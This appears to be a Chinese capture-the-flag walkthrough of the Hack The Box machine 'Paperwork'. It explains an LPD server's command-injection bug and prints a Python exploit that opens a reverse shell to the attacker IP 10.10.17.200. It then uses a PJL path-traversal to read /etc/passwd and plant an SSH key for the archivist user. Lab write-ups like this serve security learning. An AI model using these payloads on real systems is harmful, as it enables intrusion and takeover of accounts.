Paperwork-Hack The Box
10.129.39.187
fscan
fscan.exe -h 10.129.39.187
___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.4
start infoscan
10.129.39.187:22 open
10.129.39.187:80 open
[*] alive ports len is: 2
start vulscan
[*] WebTitle http://10.129.39.187 code:301 len:178 title:301 Moved Permanently 跳转url: http://paperwork.htb/
直接访问http://10.129.39.187会跳转 http://paperwork.htb/ ,可以在/etc/host添加:

然后访问:
http://paperwork.htb/

点蓝色的玩意下载一个zip文件,解压缩是一个server.py文件
server.py
import socket
import threading
import subprocess
import subprocess
VALID_QUEUE = os.environ.get("LPD_QUEUE")
class LpdHandler(threading.Thread):
def __init__(self, sock, addr):
super().__init__()
self.sock = sock
self.addr = addr
self.id = f"[lpd-{addr[1]}]"
def run(self):
try:
data = self.sock.recv(1024)
if not data: return
command = data[0]
if command == 2:
self.handle_print_job(data)
elif command in (3, 4):
self.sock.send(b"Archive_Printer is ready and printing.\n")
except Exception as e:
print(f"{self.id} Error: {e}")
finally:
self.sock.close()
def handle_print_job(self, data):
queue = data[1:].decode().strip()
if queue not in VALID_QUEUE:
print(f"{self.id} Rejected: Invalid queue '{queue}'")
self.sock.send(b'\x01')
return
print(f"{self.id} Accepted job for queue: {queue}")
while True:
chunk = self.sock.recv(1024)
if not chunk: break
subcommand = chunk[0]
self.sock.send(b'\x00')
parts = chunk[1:].decode(errors='ignore').split()
if not parts: continue
size = int(parts[0])
content = b""
while len(content) < size:
content += self.sock.recv(size - len(content) + 1)
decoded_content = content.decode(errors='ignore')
job_name = "Unknown"
for line in decoded_content.split('\n'):
line = line.strip()
if line.startswith('J'):
job_name = line[1:]
break
print(f"{self.id} Executing archive for: {job_name}")
subprocess.Popen(f"echo 'Archive: {job_name}' >> /tmp/archive.log", shell=True)
self.sock.send(b'\x00')
self.sock.send(b'\x00')
while self.sock.recv(4096):
pass
break
class LpdServer:
def __init__(self, ip='0.0.0.0', port=1515):
self.server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.server.bind((ip, port))
self.server.listen(100)
print(f"[*] LPD Server listening on {port}")
def run(self):
while True:
sock, addr = self.server.accept()
LpdHandler(sock, addr).start()
if __name__ == "__main__":
LpdServer(port=1515).run()
这是一个用Python实现的LPD(行式打印机守护程序)服务器。它模拟了一个网络打印服务,但故意包含严重的安全漏洞
第1-3行:导入模块
import socket
import threading
import subprocess
import subprocess # 这行重复了,可能是笔误
| 模块 | 用途 |
|---|---|
socket |
网络通信,监听端口、收发数据 |
threading |
多线程,每个客户端连接用独立线程处理 |
subprocess |
执行系统命令 |
第5行:读取环境变量
VALID_QUEUE = os.environ.get("LPD_QUEUE")
作用:从系统环境变量读取允许的打印队列名称。
漏洞点:os 模块没有导入!这行代码会报错(除非上面有 import os)。在CTF中,这可能是个"陷阱"或笔误。
第7-18行:LpdHandler 类的定义与初始化
class LpdHandler(threading.Thread):
def __init__(self, sock, addr):
super().__init__()
self.sock = sock
self.addr = addr
self.id = f"[lpd-{addr[1]}]"
解释:
LpdHandler继承自threading.Thread,每个连接在独立线程中处理sock:客户端的socket连接addr:客户端的IP和端口元组,如('192.168.1.1', 54321)self.id:用于日志输出,格式为[lpd-54321]
第20-33行:线程主函数 run()
def run(self):
try:
data = self.sock.recv(1024) # 接收客户端数据
if not data: return
command = data[0] # 读取第一个字节作为命令码
if command == 2:
self.handle_print_job(data) # 处理"打印任务"
elif command in (3, 4):
self.sock.send(b"Archive_Printer is ready and printing.\n")
except Exception as e:
print(f"{self.id} Error: {e}")
finally:
self.sock.close()
LPD协议命令码:
| 命令码 | 含义 | 本程序处理 |
|---|---|---|
\x02 |
打印任务 | ✅ 调用 handle_print_job() |
\x03 |
打印队列状态 | ✅ 返回就绪消息 |
\x04 |
取消打印任务 | ✅ 返回就绪消息 |
| 其他 | 未实现 | ❌ 忽略 |
第35-72行:核心函数 handle_print_job()
这是漏洞所在的函数
① 解析队列名(35-45行)
def handle_print_job(self, data):
queue = data[1:].decode().strip() # 从第2字节开始读取队列名
if queue not in VALID_QUEUE:
print(f"{self.id} Rejected: Invalid queue '{queue}'")
self.sock.send(b'\x01') # 发送拒绝码
return
print(f"{self.id} Accepted job for queue: {queue}")
- 客户端发送的第一个包格式:
\x02队列名\n - 例如:
\x02archive_intake\n - 如果队列名不在环境变量允许的列表中,拒绝连接
② 循环接收控制文件(47-72行)
while True:
chunk = self.sock.recv(1024)
if not chunk: break
subcommand = chunk[0] # 读取子命令
self.sock.send(b'\x00') # 确认接收
parts = chunk[1:].decode(errors='ignore').split()
if not parts: continue
size = int(parts[0]) # 文件大小
content = b""
while len(content) < size:
content += self.sock.recv(size - len(content) + 1)
LPD控制文件格式:
\x02 [文件大小] [文件名]\n
[文件内容]
控制文件内容示例:
H kali
P root
J my_job_name
H:源主机名P:用户名J:作业名称(这是漏洞点!)
③ 提取作业名称(57-65行)
job_name = "Unknown"
for line in decoded_content.split('\n'):
line = line.strip()
if line.startswith('J'):
job_name = line[1:] # 提取 J 后面的内容
break
- 从控制文件中找到以
J开头的行 - 提取后面的内容作为
job_name
④ 漏洞代码(67-68行)
print(f"{self.id} Executing archive for: {job_name}")
subprocess.Popen(f"echo 'Archive: {job_name}' >> /tmp/archive.log", shell=True)
这行代码做了什么?
- 使用
subprocess.Popen()执行系统命令 - 用
f-string把job_name拼接到命令中 - 使用
shell=True调用/bin/sh执行
为什么危险?
- 攻击者可以控制
job_name的内容 - 如果
job_name包含'、;、|等特殊字符,可以"逃逸"出引号 - 注入任意命令!
例子:
# 如果攻击者发送:
job_name = "x'; bash -i >& /dev/tcp/10.10.17.200/4444 0>&1; '"
# 实际执行的命令变成:
echo 'Archive: x'; bash -i >& /dev/tcp/10.10.17.200/4444 0>&1; ' >> /tmp/archive.log
# ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
# 这里是注入的恶意命令!
第74-86行:LpdServer 类(主服务)
class LpdServer:
def __init__(self, ip='0.0.0.0', port=1515):
self.server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.server.bind((ip, port))
self.server.listen(100)
print(f"[*] LPD Server listening on {port}")
作用:
- 创建TCP服务器,监听所有网络接口(
0.0.0.0) - 端口 1515
SO_REUSEADDR:允许端口复用- 最大连接数:100
def run(self):
while True:
sock, addr = self.server.accept() # 接受连接
LpdHandler(sock, addr).start() # 创建新线程处理
- 循环接受客户端连接
- 每个连接创建一个
LpdHandler线程
第88-89行:程序入口
if __name__ == "__main__":
LpdServer(port=1515).run()
- 创建
LpdServer实例,监听1515端口 - 启动服务
攻击流程
攻击者(Kali) 靶机(Paperwork)
| |
| 1. 连接 1515 端口 |
| -------------------------------------->|
| | 接收连接
| 2. 发送 "\x02archive_intake\n" |
| -------------------------------------->|
| | 检查队列名 ✓
| 3. 收到 "\x00" 确认 |
| <--------------------------------------|
| 4. 发送 "\x0251 test.cf\n" |
| -------------------------------------->|
| | 接收控制文件头
| 5. 发送控制文件内容 |
| "Jx'; bash -c ... ; '" |
| -------------------------------------->|
| | 提取 job_name = "x'; ... ; '"
| | 执行: echo 'Archive: x'; bash ...; ' >> /tmp/archive.log
| | 反弹shell连接
| 6. 收到反向shell连接 |
| <======================================|
| 7. 获得 lp 用户权限 |
攻击脚本:
import socket
TARGET = "paperwork.htb"
PORT = 1515
QUEUE = "archive_intake" # confirmed from the web page
LHOST = "10.10.17.200" #attacker ip
payload = f"bash -c 'bash -i >& /dev/tcp/10.10.17.200/4444 0>&1'"
job_name = f"x'; {payload} ; echo '"
control_file = f"H kali\nP root\nJ {job_name}\n"
cf_bytes = control_file.encode()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TARGET, PORT))
s.send(b'\x02' + QUEUE.encode() + b'\n')
print("recvjob ack:", s.recv(1024))
cfname = "cfA001kali"
header = b'\x02' + f"{len(cf_bytes)} {cfname}\n".encode()
s.send(header)
print("header ack:", s.recv(1024))
s.send(cf_bytes)
s.send(b'\x00')
print("final:", s.recv(1024))
s.close()
反弹成功

lp提权
查看进程
lp@paperwork:/tmp$ ps aux
ps aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.3 24120 14468 ? Ss 10:37 0:01 /usr/lib/systemd/systemd --switched-root --system --deserialize=47
root 2 0.0 0.0 0 0 ? S 10:37 0:00 [kthreadd]
root 3 0.0 0.0 0 0 ? S 10:37 0:00 [pool_workqueue_release]
root 4 0.0 0.0 0 0 ? I< 10:37 0:00 [kworker/R-rcu_gp]
root 5 0.0 0.0 0 0 ? I< 10:37 0:00 [kworker/R-sync_wq]
root 6 0.0 0.0 0 0 ? I< 10:37 0:00 [kworker/R-kvfree_rcu_reclaim]
root 7 0.0 0.0 0 0 ? I< 10:37 0:00 [kworker/R-slub_flushwq]
root 8 0.0 0.0 0 0 ? I< 10:37 0:00 [kworker/R-netns]
root 10 0.0 0.0 0 0 ? I< 10:37 0:00 [kworker/0:0H-events_highpri]
root 13 0.0 0.0 0 0 ? I< 10:37 0:00 [kworker/R-mm_percpu_wq]
root 14 0.0 0.0 0 0 ? S 10:37 0:00 [ksoftirqd/0]
root 15 0.0 0.0 0 0 ? I 10:37 0:00 [rcu_preempt]
root 16 0.0 0.0 0 0 ? S 10:37 0:00 [rcu_exp_par_gp_kthread_worker/0]
root 17 0.0 0.0 0 0 ? S 10:37 0:00 [rcu_exp_gp_kthread_worker]
root 18 0.0 0.0 0 0 ? S 10:37 0:00 [migration/0]
root 19 0.0 0.0 0 0 ? S 10:37 0:00 [idle_inject/0]
root 20 0.0 0.0 0 0 ? S 10:37 0:00 [cpuhp/0]
root 21 0.0 0.0 0 0 ? S 10:37 0:00 [cpuhp/1]
root 22 0.0 0.0 0 0 ? S 10:37 0:00 [idle_inject/1]
root 23 0.0 0.0 0 0 ? S 10:37 0:00 [migration/1]
root 24 0.0 0.0 0 0 ? S 10:37 0:00 [ksoftirqd/1]
root 26 0.0 0.0 0 0 ? I< 10:37 0:00 [kworker/1:0H-events_highpri]
root 27 0.0 0.0 0 0 ? S 10:37 0:00 [kdevtmpfs]
root 28 0.0 0.0 0 0 ? I< 10:37 0:00 [kworker/R-inet_frag_wq]
root 29 0.0 0.0 0 0 ? I 10:37 0:00 [rcu_tasks_kthread]
root 30 0.0 0.0 0 0 ? I 10:37 0:00 [rcu_tasks_rude_kthread]
root 31 0.0 0.0 0 0 ? I 10:37 0:00 [rcu_tasks_trace_kthread]
root 32 0.0 0.0 0 0 ? R 10:37 0:00 [kauditd]
root 33 0.0 0.0 0 0 ? S 10:37 0:00 [khungtaskd]
root 35 0.0 0.0 0 0 ? S 10:37 0:00 [oom_reaper]
root 37 0.0 0.0 0 0 ? I< 10:37 0:00 [kworker/R-writeback]
root 38 0.0 0.0 0 0 ? S 10:37 0:00 [kcompactd0]
root 39 0.0 0.0 0 0 ? SN 10:37 0:00 [ksmd]
root 40 0.0 0.0 0 0 ? SN 10:37 0:00 [khugepaged]
root 41 0.0 0.0 0 0 ? I< 10:37 0:00 [kworker/R-kblockd]
root 42 0.0 0.0 0 0 ? I< 10:37 0:00 [kworker/R-blkcg_punt_bio]
root 43 0.0 0.0 0 0 ? I< 10:37 0:00 [kworker/R-kintegrityd]
root 44 0.0 0.0 0 0 ? S 10:37 0:00 [irq/9-acpi]
root 46 0.0 0.0 0 0 ? I< 10:37 0:00 [kworker/R-tpm_dev_wq]
root 47 0.0 0.0 0 0 ? I< 10:37 0:00 [kworker/R-ata_sff]
root 48 0.0 0.0 0 0 ? I< 10:37 0:00 [kworker/R-md]
root 49 0.0 0.0 0 0 ? I< 10:37 0:00 [kworker/R-md_bitmap]
root 50 0.0 0.0 0 0 ? I< 10:37 0:00 [kworker/R-edac-poller]
root 51 0.0 0.0 0 0 ? I< 10:37 0:00 [kworker/R-devfreq_wq]
root 52 0.0 0.0 0 0 ? S 10:37 0:00 [watchdogd]
root 53 0.0 0.0 0 0 ? I< 10:37 0:00 [kworker/R-quota_events_unbound]
root 54 0.0 0.0 0 0 ? I< 10:37 0:00 [kworker/1:1H-kblockd]
root 55 0.0 0.0 0 0 ? S 10:37 0:00 [kswapd0]
root 56 0.0 0.0 0 0 ? S 10:37 0:00 [ecryptfs-kthread]
root 57 0.0 0.0 0 0 ? I< 10:37 0:00 [kworker/R-kthrotld]
root 58 0.0 0.0 0 0 ? S 10:37 0:00 [irq/24-pciehp]
root 59 0.0 0.0 0 0 ? S 10:37 0:00 [irq/25-pciehp]
root 60 0.0 0.0 0 0 ? S 10:37 0:00 [irq/26-pciehp]
root 61 0.0 0.0 0 0 ? S 10:37 0:00 [irq/27-pciehp]
root 62 0.0 0.0 0 0 ? S 10:37 0:00 [irq/28-pciehp]
root 63 0.0 0.0 0 0 ? S 10:37 0:00 [irq/29-pciehp]
root 64 0.0 0.0 0 0 ? S 10:37 0:00 [irq/30-pciehp]
root 65 0.0 0.0 0 0 ? S 10:37 0:00 [irq/31-pciehp]
root 66 0.0 0.0 0 0 ? S 10:37 0:00 [irq/32-pciehp]
root 67 0.0 0.0 0 0 ? S 10:37 0:00 [irq/33-pciehp]
root 68 0.0 0.0 0 0 ? S 10:37 0:00 [irq/34-pciehp]
root 69 0.0 0.0 0 0 ? S 10:37 0:00 [irq/35-pciehp]
root 70 0.0 0.0 0 0 ? S 10:37 0:00 [irq/36-pciehp]
root 71 0.0 0.0 0 0 ? S 10:37 0:00 [irq/37-pciehp]
root 72 0.0 0.0 0 0 ? S 10:37 0:00 [irq/38-pciehp]
root 73 0.0 0.0 0 0 ? S 10:37 0:00 [irq/39-pciehp]
root 74 0.0 0.0 0 0 ? S 10:37 0:00 [irq/40-pciehp]
root 75 0.0 0.0 0 0 ? S 10:37 0:00 [irq/41-pciehp]
root 76 0.0 0.0 0 0 ? S 10:37 0:00 [irq/42-pciehp]
root 77 0.0 0.0 0 0 ? S 10:37 0:00 [irq/43-pciehp]
root 78 0.0 0.0 0 0 ? S 10:37 0:00 [irq/44-pciehp]
root 79 0.0 0.0 0 0 ? S 10:37 0:00 [irq/45-pciehp]
root 80 0.0 0.0 0 0 ? S 10:37 0:00 [irq/46-pciehp]
root 81 0.0 0.0 0 0 ? S 10:37 0:00 [irq/47-pciehp]
root 82 0.0 0.0 0 0 ? S 10:37 0:00 [irq/48-pciehp]
root 83 0.0 0.0 0 0 ? S 10:37 0:00 [irq/49-pciehp]
root 84 0.0 0.0 0 0 ? S 10:37 0:00 [irq/50-pciehp]
root 85 0.0 0.0 0 0 ? S 10:37 0:00 [irq/51-pciehp]
root 86 0.0 0.0 0 0 ? S 10:37 0:00 [irq/52-pciehp]
root 87 0.0 0.0 0 0 ? S 10:37 0:00 [irq/53-pciehp]
root 88 0.0 0.0 0 0 ? S 10:37 0:00 [irq/54-pciehp]
root 89 0.0 0.0 0 0 ? S 10:37 0:00 [irq/55-pciehp]
root 90 0.0 0.0 0 0 ? I< 10:37 0:00 [kworker/R-acpi_thermal_pm]
root 91 0.0 0.0 0 0 ? S 10:37 0:00 [scsi_eh_0]
root 92 0.0 0.0 0 0 ? I< 10:37 0:00 [kworker/R-scsi_tmf_0]
root 93 0.0 0.0 0 0 ? S 10:37 0:00 [scsi_eh_1]
root 94 0.0 0.0 0 0 ? I< 10:37 0:00 [kworker/R-scsi_tmf_1]
root 99 0.0 0.0 0 0 ? I< 10:37 0:00 [kworker/R-mld]
root 100 0.0 0.0 0 0 ? I< 10:37 0:00 [kworker/R-ipv6_addrconf]
root 101 0.0 0.0 0 0 ? I< 10:37 0:00 [kworker/R-kstrp]
root 103 0.0 0.0 0 0 ? I< 10:37 0:00 [kworker/u9:0]
root 115 0.0 0.0 0 0 ? I< 10:37 0:00 [kworker/R-charger_manager]
root 116 0.0 0.0 0 0 ? I< 10:37 0:00 [kworker/0:1H-kblockd]
root 362 0.0 0.0 0 0 ? I< 10:37 0:00 [kworker/R-mpt_poll_0]
root 363 0.0 0.0 0 0 ? I< 10:37 0:00 [kworker/R-mpt/0]
root 365 0.0 0.0 0 0 ? S 10:37 0:00 [scsi_eh_2]
root 366 0.0 0.0 0 0 ? I< 10:37 0:00 [kworker/R-scsi_tmf_2]
root 367 0.0 0.0 0 0 ? S 10:37 0:00 [scsi_eh_3]
root 368 0.0 0.0 0 0 ? I< 10:37 0:00 [kworker/R-scsi_tmf_3]
root 369 0.0 0.0 0 0 ? S 10:37 0:00 [scsi_eh_4]
root 370 0.0 0.0 0 0 ? I< 10:37 0:00 [kworker/R-scsi_tmf_4]
root 371 0.0 0.0 0 0 ? S 10:37 0:00 [scsi_eh_5]
root 372 0.0 0.0 0 0 ? I< 10:37 0:00 [kworker/R-scsi_tmf_5]
root 373 0.0 0.0 0 0 ? S 10:37 0:00 [scsi_eh_6]
root 374 0.0 0.0 0 0 ? I< 10:37 0:00 [kworker/R-scsi_tmf_6]
root 375 0.0 0.0 0 0 ? S 10:37 0:00 [scsi_eh_7]
root 377 0.0 0.0 0 0 ? I< 10:37 0:00 [kworker/R-scsi_tmf_7]
root 378 0.0 0.0 0 0 ? S 10:37 0:00 [scsi_eh_8]
root 379 0.0 0.0 0 0 ? I< 10:37 0:00 [kworker/R-scsi_tmf_8]
root 380 0.0 0.0 0 0 ? S 10:37 0:00 [scsi_eh_9]
root 381 0.0 0.0 0 0 ? I< 10:37 0:00 [kworker/R-scsi_tmf_9]
root 382 0.0 0.0 0 0 ? S 10:37 0:00 [scsi_eh_10]
root 383 0.0 0.0 0 0 ? I< 10:37 0:00 [kworker/R-scsi_tmf_10]
root 384 0.0 0.0 0 0 ? S 10:37 0:00 [scsi_eh_11]
root 385 0.0 0.0 0 0 ? I< 10:37 0:00 [kworker/R-scsi_tmf_11]
root 386 0.0 0.0 0 0 ? S 10:37 0:00 [scsi_eh_12]
root 387 0.0 0.0 0 0 ? I< 10:37 0:00 [kworker/R-scsi_tmf_12]
root 388 0.0 0.0 0 0 ? S 10:37 0:00 [scsi_eh_13]
root 389 0.0 0.0 0 0 ? I< 10:37 0:00 [kworker/R-scsi_tmf_13]
root 390 0.0 0.0 0 0 ? S 10:37 0:00 [scsi_eh_14]
root 391 0.0 0.0 0 0 ? I< 10:37 0:00 [kworker/R-scsi_tmf_14]
root 392 0.0 0.0 0 0 ? S 10:37 0:00 [scsi_eh_15]
root 393 0.0 0.0 0 0 ? I< 10:37 0:00 [kworker/R-scsi_tmf_15]
root 394 0.0 0.0 0 0 ? S 10:37 0:00 [scsi_eh_16]
root 395 0.0 0.0 0 0 ? I< 10:37 0:00 [kworker/R-scsi_tmf_16]
root 396 0.0 0.0 0 0 ? S 10:37 0:00 [scsi_eh_17]
root 397 0.0 0.0 0 0 ? I< 10:37 0:00 [kworker/R-scsi_tmf_17]
root 398 0.0 0.0 0 0 ? S 10:37 0:00 [scsi_eh_18]
root 399 0.0 0.0 0 0 ? I< 10:37 0:00 [kworker/R-scsi_tmf_18]
root 400 0.0 0.0 0 0 ? S 10:37 0:00 [scsi_eh_19]
root 401 0.0 0.0 0 0 ? I< 10:37 0:00 [kworker/R-scsi_tmf_19]
root 402 0.0 0.0 0 0 ? S 10:37 0:00 [scsi_eh_20]
root 403 0.0 0.0 0 0 ? I< 10:37 0:00 [kworker/R-scsi_tmf_20]
root 404 0.0 0.0 0 0 ? S 10:37 0:00 [scsi_eh_21]
root 405 0.0 0.0 0 0 ? I< 10:37 0:00 [kworker/R-scsi_tmf_21]
root 406 0.0 0.0 0 0 ? S 10:37 0:00 [scsi_eh_22]
root 407 0.0 0.0 0 0 ? I< 10:37 0:00 [kworker/R-scsi_tmf_22]
root 408 0.0 0.0 0 0 ? S 10:37 0:00 [scsi_eh_23]
root 409 0.0 0.0 0 0 ? I< 10:37 0:00 [kworker/R-scsi_tmf_23]
root 410 0.0 0.0 0 0 ? S 10:37 0:00 [scsi_eh_24]
root 411 0.0 0.0 0 0 ? I< 10:37 0:00 [kworker/R-scsi_tmf_24]
root 412 0.0 0.0 0 0 ? S 10:37 0:00 [scsi_eh_25]
root 413 0.0 0.0 0 0 ? I< 10:37 0:00 [kworker/R-scsi_tmf_25]
root 414 0.0 0.0 0 0 ? S 10:37 0:00 [scsi_eh_26]
root 415 0.0 0.0 0 0 ? I< 10:37 0:00 [kworker/R-scsi_tmf_26]
root 416 0.0 0.0 0 0 ? S 10:37 0:00 [scsi_eh_27]
root 417 0.0 0.0 0 0 ? I< 10:37 0:00 [kworker/R-scsi_tmf_27]
root 418 0.0 0.0 0 0 ? S 10:37 0:00 [scsi_eh_28]
root 419 0.0 0.0 0 0 ? I< 10:37 0:00 [kworker/R-scsi_tmf_28]
root 420 0.0 0.0 0 0 ? S 10:37 0:00 [scsi_eh_29]
root 421 0.0 0.0 0 0 ? I< 10:37 0:00 [kworker/R-scsi_tmf_29]
root 422 0.0 0.0 0 0 ? S 10:37 0:00 [scsi_eh_30]
root 423 0.0 0.0 0 0 ? I< 10:37 0:00 [kworker/R-scsi_tmf_30]
root 424 0.0 0.0 0 0 ? S 10:37 0:00 [scsi_eh_31]
root 425 0.0 0.0 0 0 ? I< 10:37 0:00 [kworker/R-scsi_tmf_31]
root 453 0.0 0.0 0 0 ? S 10:37 0:00 [scsi_eh_32]
root 454 0.0 0.0 0 0 ? I< 10:37 0:00 [kworker/R-scsi_tmf_32]
root 513 0.0 0.0 0 0 ? I< 10:37 0:00 [kworker/R-kdmflush/252:0]
root 539 0.0 0.0 0 0 ? D 10:37 0:00 [jbd2/dm-0-8]
root 540 0.0 0.0 0 0 ? I< 10:37 0:00 [kworker/R-ext4-rsv-conversion]
root 582 0.0 0.0 0 0 ? S 10:37 0:00 [irq/57-vmw_vmci]
root 583 0.0 0.0 0 0 ? S 10:37 0:00 [irq/58-vmw_vmci]
root 584 0.0 0.0 0 0 ? S 10:37 0:00 [irq/59-vmw_vmci]
root 586 0.0 0.0 0 0 ? S 10:37 0:00 [psimon]
root 593 0.0 0.3 50868 13340 ? S<s 10:37 0:00 /usr/lib/systemd/systemd-journald
systemd+ 640 0.0 0.3 22976 13628 ? Ss 10:37 0:00 /usr/lib/systemd/systemd-resolved
root 649 0.0 0.2 37652 11372 ? Ss 10:37 0:00 /usr/lib/systemd/systemd-udevd
root 654 0.0 0.0 0 0 ? S 10:37 0:00 [psimon]
root 693 0.0 0.0 0 0 ? S 10:37 0:00 [irq/16-vmwgfx]
root 695 0.0 0.0 0 0 ? I< 10:37 0:00 [kworker/R-ttm]
root 708 0.0 0.0 0 0 ? S 10:37 0:00 [jbd2/sda2-8]
root 709 0.0 0.0 0 0 ? I< 10:37 0:00 [kworker/R-ext4-rsv-conversion]
root 745 0.0 0.0 21252 2668 ? S<sl 10:37 0:00 /usr/sbin/auditd
_laurel 749 0.0 0.1 10608 6824 ? R< 10:37 0:00 /usr/local/sbin/laurel --config /etc/laurel/config.toml
root 836 0.0 0.0 0 0 ? S 10:37 0:00 [audit_prune_tree]
root 964 0.0 0.0 3040 1956 ? Ss 10:37 0:00 /bin/sh /usr/lib/systemd/scripts/chronyd-starter.sh -n -F 1
root 967 0.0 0.8 125988 33872 ? Ss 10:37 0:01 /usr/bin/python3 /root/staging/CorpoSite/app.py
root 974 0.0 0.0 7256 3096 ? Ss 10:37 0:00 /usr/sbin/cron -f -P
message+ 975 0.0 0.1 8764 4796 ? Ss 10:37 0:00 @dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
root 976 0.0 0.0 4172 3256 ? Ss 10:37 0:00 dhclient -1 -4 -v -i -pf /run/dhclient.eth0.pid -lf /var/lib/dhcp/dhclient.eth0.leases -I -df /var/lib/dhcp/dhclient6.eth0.leases eth0
archivi+ 983 0.0 0.4 28040 17544 ? Ss 10:37 0:00 /usr/bin/python3 /home/archivist/printer/jetdirect.py 9100 /home/archivist/printer/ /home/archivist/printer/logs/commands.log
lp 986 16.5 0.3 241768 12548 ? Ssl 10:37 15:13 /usr/bin/python3 /opt/LPDServer/server.py
root 987 0.0 0.6 41492 26964 ? Ss 10:37 0:00 /usr/bin/python3 /usr/bin/networkd-dispatcher --run-startup-triggers
root 990 0.0 0.2 18340 8144 ? Ss 10:37 0:00 /usr/lib/systemd/systemd-logind
root 994 0.0 0.2 20900 10904 ? Ss 10:37 0:00 /usr/bin/VGAuthService
root 999 0.1 0.2 115532 11052 ? Ssl 10:37 0:05 /usr/bin/vmtoolsd
_chrony 1051 0.0 0.1 20272 5424 ? S 10:37 0:00 /usr/sbin/chronyd -n -F 1
_chrony 1077 0.0 0.0 11944 2340 ? S 10:37 0:00 /usr/sbin/chronyd -n -F 1
root 1489 0.0 0.4 28432 17968 ? Ss 10:37 0:00 /usr/bin/python3 /usr/bin/paperwork-daemon
root 1500 0.0 0.0 8572 2664 tty1 Ss+ 10:37 0:00 /sbin/agetty -o -- \u --noreset --noclear - linux
root 1501 0.0 0.0 14936 2328 ? Ss 10:37 0:00 nginx: master process /usr/sbin/nginx -g daemon on; master_process on;
www-data 1502 0.0 0.1 16908 5796 ? S 10:37 0:00 nginx: worker process
www-data 1503 0.0 0.1 16908 5584 ? S 10:37 0:00 nginx: worker process
root 1721 0.0 0.0 0 0 ? I 11:10 0:00 [kworker/u8:0-ipv6_addrconf]
root 1740 0.0 0.0 0 0 ? I 11:17 0:00 [kworker/u8:2-events_power_efficient]
root 1825 0.0 0.1 10892 7468 ? Ss 11:27 0:00 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
root 2012 0.0 0.0 0 0 ? I 11:50 0:00 [kworker/1:1-events]
root 2013 0.1 0.0 0 0 ? I 11:50 0:01 [kworker/0:0-events]
root 2046 0.0 0.0 0 0 ? I 11:57 0:00 [kworker/u8:3-ext4-rsv-conversion]
root 2047 0.0 0.0 0 0 ? I 11:58 0:00 [kworker/0:1]
root 2205 0.4 0.0 0 0 ? I 12:04 0:01 [kworker/1:0-mm_percpu_wq]
lp 2215 0.0 0.0 3040 1944 ? S 12:07 0:00 /bin/sh -c echo 'Archive: x'; bash -c 'bash -i >& /dev/tcp/10.10.17.200/4444 0>&1' ; echo '' >> /tmp/archive.log
lp 2216 0.0 0.0 7680 3896 ? S 12:07 0:00 bash -c bash -i >& /dev/tcp/10.10.17.200/4444 0>&1
lp 2217 0.0 0.1 7944 4508 ? S 12:07 0:00 bash -i
root 2218 0.0 0.0 0 0 ? I 12:08 0:00 [kworker/u8:1-events_power_efficient]
lp 2328 300 0.1 9872 4492 ? R 12:09 0:00 ps aux
有两个进程非常值得深入查看:
archivi+ 983 ... /usr/bin/python3 /home/archivist/printer/jetdirect.py 9100 ...root 1489 ... /usr/bin/python3 /usr/bin/paperwork-daemon- 注意点:
jetdirect.py是一个处理打印协议的脚本,通常运行在 9100 端口。这可能是故意开放的脆弱服务,可以尝试查看其源码或连接该端口看是否能执行任意命令paperwork-daemon以 root 权限运行。如果前面的lp用户可以读写这个 Python 脚本,就可以通过修改它来获取 root 权限(因为它是 root 执行的)
检查 Paperwork 服务
ls -la /usr/bin/paperwork-daemon
ls -la /usr/bin/paperwork* # 看有没有其他相关文件
ps aux | grep paperwork # 确认运行用户确实是 root
检查 Jetdirect 打印服务
ls -la /home/archivist/printer/jetdirect.py
ls -la /home/archivist/printer/ # 看目录权限
ps aux | grep jetdirect
paperwork-daemon是 root 运行的,但不可写(权限 644)jetdirect.py在archivist用户目录下,你没有权限访问该目录(Permission denied)
寻找漏洞(路径遍历)
尝试读取敏感文件来测试:
# 测试:尝试读取 /etc/passwd
cmd = '@PJL FSUPLOAD NAME=\"0:../../../etc/passwd\"\n'
s.send(cmd.encode())
response = s.recv(4096)
print(response.decode())
返回了 /etc/passwd 内容,说明:
- 路径遍历漏洞存在
- 可以读取任意文件
关键发现:0: 前缀是PJL协议中表示MS-DOS盘符,但在这里被用作路径起点。../../../ 用来跳出限制目录。
理解路径过滤逻辑
即使读不到 jetdirect.py 源码,作者可以通过测试不同路径来推断过滤逻辑:
| 测试路径 | 结果 | 推断 |
|---|---|---|
0:/etc/passwd |
可能失败 | 去掉了盘符前缀 |
0:../etc/passwd |
可能失败 | 只允许 0: 开头的路径 |
0:../../../etc/passwd |
成功 | 只去掉了 0:,但没检查 .. |
结论:程序只移除了 0: 前缀,但没有阻止 .. 路径遍历。
确定攻击目标
从 /etc/passwd 中:
archivist:x:1000:1000:archivist:/home/archivist:/bin/bash
目标:获取 archivist 用户的权限
方法:SSH公钥认证
实现方式:
- 把攻击者的公钥写入
/home/archivist/.ssh/authorized_keys - 然后用SSH登录
脚本:
python3 << 'EOF'
import socket
import time
# 你的SSH公钥(替换成你自己的)
PUBLIC_KEY = "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC..." # 替换成你的公钥
# 目标路径:archivist的authorized_keys
# 路径遍历:从spool目录逃逸到 /home/archivist/.ssh/
target_path = "0:../../../home/archivist/.ssh/authorized_keys"
# 如果 .ssh 目录不存在,需要先创建,但通常已存在
# 连接到PJL服务
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.1', 9100))
# 构造PJL FSDOWNLOAD命令
# 格式:@PJL FSDOWNLOAD NAME="路径" SIZE=大小\n内容\n
pjl_cmd = f'@PJL FSDOWNLOAD NAME="{target_path}" SIZE={len(PUBLIC_KEY)}\n{PUBLIC_KEY}\n'
s.send(pjl_cmd.encode())
# 接收响应
response = s.recv(4096)
print("响应:", response.decode())
s.close()
EOF
验证:
